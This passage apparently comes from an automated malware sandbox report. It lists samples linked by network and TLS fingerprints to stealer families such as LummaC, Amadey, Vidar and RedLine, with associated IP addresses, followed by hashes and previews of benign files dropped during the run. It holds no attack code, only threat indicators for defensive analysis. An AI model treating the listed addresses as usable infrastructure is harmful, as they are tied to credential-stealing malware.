	atw3.dll	Get hash	malicious	Gozi, Ursnif	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	104.21.11.101
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	IERiUft8Wi.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
WHOLESALECONNECTIONSNL	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GxX48twWHA.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ERTL09tA59.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	GtEVo1eO2p.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
CLOUDFLARENETUS	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	104.21.11.101
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	IERiUft8Wi.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	lem.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	pVbAZEFIpI.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	z3IxCpcpg4.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
a0e9f5d64349fb13191bc781f81f42e1	ARoqFi68Nr.exe	Get hash	malicious	LummaC	Browse	172.67.165.185 104.21.11.101
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185 104.21.11.101
	PH1D3KHmOD.exe	Get hash	malicious	LummaC	Browse	172.67.165.185 104.21.11.101
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	172.67.165.185 104.21.11.101
	IERiUft8Wi.exe	Get hash	malicious	LummaC	Browse	172.67.165.185 104.21.11.101
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185 104.21.11.101
	zi042476Iv.exe	Get hash	malicious	LummaC	Browse	172.67.165.185 104.21.11.101
	C8FtVPhuxd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185 104.21.11.101
	U7TAniYFeK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185 104.21.11.101
	8lOT1rXZp5.exe	Get hash	malicious	RedLine	Browse	172.67.165.185 104.21.11.101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:54:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.981165795103004
Encrypted:	false
SSDEEP:	48:8wdOTq+7HvidAKZdA19ehwiZUklqehvy+3:8RP9Yy
MD5:	BC15F2D895DD93347FFDC062671B96FD
SHA1:	E93C454757C5D1DC7F63CB1A164BB2F617C158CD
SHA-256:	25C89FA4ABF677267E83CF7644EA319703C1902CF910E1E73CD9F8E05112FA66
SHA-512:	5740349682101FFFE93A9F60ED7EC5A3987917C53280C5AE8D800F6CEA7ADB606E397A40C1851CB918BA71A6F090F4D1B104579787A0016C38F26F63F52C77DC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....J...4X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.>....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............(1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:54:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.994285378104621
Encrypted:	false
SSDEEP:	48:8HdOTq+7HvidAKZdA1weh/iZUkAQkqehIy+2:84P39QNy
MD5:	93F7073229821DA990D9C109195F3891
SHA1:	F0F2F91213F4A1DB3BDD84F3B673213EE5DB080C
SHA-256:	EB25331B86FFB35CB0D9BCE74D5695FD76140617D4A42E7D022F252D6AEB899B
SHA-512:	F161CE3DB161C00F49357816507E176365FB5236BD0BDB81018EECD39AF6215D84EC08E698C2C7EC7925608AA12BB8211E8E4E5C0A367BC176CAF30BDC2DFC58
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....OX.4X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.>....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............(1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.008259627139623
Encrypted:	false
SSDEEP:	48:8xHdOTq+sHvidAKZdA14tseh7sFiZUkmgqeh7sGy+BX:8x4POncy
MD5:	48A5922CF3E996132E27D818F307AB8B
SHA1:	60A4F35843B4A035A6871C610575B2D414C6B385
SHA-256:	923F256DA8C342C268645003CC73B8CDD9A4C9DC62EDB1A4657AC2E5D31BD1CF
SHA-512:	566E20CB044F41539E5BB3B048EF11B00609179BA7174D70E692DC8E8F4F2664BD2416474984C231F5195AB6538AA5D5F24E670E5C25F9C4FA53D5B96F5DFFF5
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.>....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............(1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:54:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9944405989258667
Encrypted:	false
SSDEEP:	48:8bdOTq+7HvidAKZdA1vehDiZUkwqehUy+R:8MP0ey
MD5:	5DC8D838BE98192B5E3E930F2D183C18
SHA1:	2C30103DA39BB5F4C81CE5073B8C4EFAD0F64E7F
SHA-256:	6D96C0C2E4CE92BDF0F304135BF6683D43239153C18B05CC624B4229B81131AA
SHA-512:	2E54E51E5F036FDC2BA604D39EE357463833D66E7E0588ED2333F7F3D28DD253B4E0FBBA7366F0E4051A499FCA77EB4C4F8B5D27BEB2A5349EBFE7012633A88E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......4X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.>....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............(1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:54:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9820670896213413
Encrypted:	false
SSDEEP:	48:8wdOTq+7HvidAKZdA1hehBiZUk1W1qehay+C:8RPU96y
MD5:	22C1AE9CE59F1A0FCE95626DE4B18A1B
SHA1:	A3E98E9746E1247B14EC8DB089834CB71E3769FE
SHA-256:	C3530BC8B9B91E1E1BD8F49D33EABBFDE41DEF938048E85BB9339CC6E8015EEF
SHA-512:	89CC1A93C113DE5DCFB7E115B40C7EC226E47992CF60B8774D70FF8BCAE56AD66385D13C7A52C27F1269CC282E51739CC92A33F28A65BE1CC13FD51B9E43EA49
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....N..4X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.>....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............(1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 27 06:54:59 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9923257383899844
Encrypted:	false
SSDEEP:	48:8pdOTq+7HvidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbcy+yT+:8qP6T/TbxWOvTbcy7T
MD5:	511E73BF550286F85539E1D9525E96A4
SHA1:	0951E107EA7289C52CA0F04A3C9759E2FBC21D0B
SHA-256:	24E9A57C6A672BC762520F151B7C97601A64D8C0CE65067EF4E6ABD14154F623
SHA-512:	408A821C0C226ADFDD00B293939F07E1312BDBCC3ED7ECB219C3C603C6653F1DBCCD99C2C630AA4F2A800CED344A6442DD5365CC971AFFCC96A7E7D6613B1643
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......4X..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.>....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............(1......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=ZvHSpovhDw.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
